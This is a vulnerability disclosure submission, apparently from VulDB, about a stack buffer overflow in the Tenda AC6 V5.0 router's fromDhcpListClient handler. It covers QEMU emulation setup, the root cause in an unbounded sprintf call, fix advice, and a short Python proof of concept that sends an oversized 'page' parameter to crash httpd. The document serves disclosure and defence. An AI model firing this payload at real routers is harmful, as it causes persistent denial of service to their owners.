| 标题 | Tenda AC6 V03.03.20.11 Memory Corruption |
|---|
| 描述 | Basic Vendor & Product Info
Vendor: Tenda
Product: AC6
Hardware Version: V5.0
Firmware Version: V03.03.20.11
Vulnerability Class: Memory Corruption (Stack Buffer Overflow)
CVSS Base Score: 8.2 AV:N/AC:L/Au:S/C:H/I:H/A:H
Environment Setup
Official firmware download link: https://www.tenda.com.cn/material/show/3242
1. Dependencies Download
bash
运行
sudo apt update && sudo apt install aria2
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress"
Downloaded files list:
debian_wheezy_armhf_standard.qcow2
initrd.img-3.2.0-4-vexpress
vmlinuz-3.2.0-4-vexpress
2. Host TAP Network Configuration
bash
运行
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED
sudo ifconfig tap0 192.168.100.1 netmask x.x.x.x
3. QEMU Launch Command
bash
运行
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
VM login username & password: root
4. VM Firmware Deployment
Network config inside VM
bash
运行
ifconfig eth0 192.168.100.2 netmask x.x.x.x
route add default gw 192.168.100.1
Verify connectivity by ping between host and VM.
Pack firmware & launch HTTP server on host
bash
运行
tar -czvf squashfs-root.tar squashfs-root
python3 -m http.server
Download & extract firmware in VM
bash
运行
wget http://192.168.100.1:8000/squashfs-root.tar
tar -xzvf squashfs-root.tar
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.100.2/24 dev br0
chroot ./squashfs-root sh
cp -rf webroot_ro/* webroot/
./bin/httpd
Web admin panel accessible at http://192.168.100.2 after startup.
Vulnerability Details
Full Attack Path
URL: http://[target_ip]/goform/DhcpListClient
Controllable Parameter: POST parameter page
Processing Function: fromDhcpListClient @ 0x88638
Vulnerable Offset: 0x88830
Stack Buffer: char v9[256];
Authentication Required: Valid admin session cookie
Root Cause
The fromDhcpListClient function retrieves user-controlled page input via the internal helper function sub_2B7C4 without any length validation.
The raw input string stored in v11 is directly passed to unsafe sprintf to concatenate a redirect path into a fixed-size 256-byte stack buffer v9:
c
运行
sprintf(v9, "/network/lan_dhcp_static.asp?page=%s", v11);
Excessively long value of page overflows the buffer, corrupts stack variables, base pointer and function return address. When the function returns, a segmentation fault occurs and the httpd web service crashes. The built-in watchdog will automatically restart httpd, leading to persistent remote denial-of-service. Remote code execution is theoretically achievable with precise stack control.
Proof of Concept (POC)
python
运行
import requests
from pwn import cyclic
url = "http://192.168.100.2/goform/DhcpListClient"
cookie = {"password": "VALID_SESSION_COOKIE"}
data = {
"LISTLEN": "0",
"page": cyclic(1000)
}
try:
r = requests.post(url, cookies=cookie, data=data, timeout=3)
print(r.status_code, r.text[:200])
except requests.RequestException as e:
print("Possible crash:", e)
Reproduction Phenomenon
Short payload: HTTP 200 OK response returns normal web page.
Long cyclic payload: Python script triggers ReadTimeout or ConnectionResetError.
QEMU serial console outputs Segmentation fault (core dumped) confirming httpd crash.
Service recovers automatically after watchdog restarts the httpd process.
Mitigation & Fix Recommendations
Add string length check before concatenation, truncate or reject overlong input.
Replace unsafe unbounded sprintf with bounded snprintf to limit write length to buffer capacity.
Implement unified input length restriction for all CGI form parameters globally.
Duplicate Vulnerability Note
Existing public CVE-2025-60338 affects Tenda AC6 V2.0 with old firmware. This flaw targets AC6 V5.0 firmware V03.03.20.11; the binary, function offsets and stack layout are completely independent, no duplicate record on VulDB/NVD/CNVD. |
|---|
| 用户 | hfddh666 (UID 99974) |
|---|
| 提交 | 2026-07-22 13時10分 (2 月前) |
|---|
| 管理 | 2026-09-06 11時35分 (2 months later) |
|---|
| 状态 | 重复 |
|---|
| VulDB条目 | 230077 [Tenda AC6 US_AC6V1.0BR_V15.03.05.19 fromDhcpListClient 内存损坏] |
|---|
| 积分 | 0 |
|---|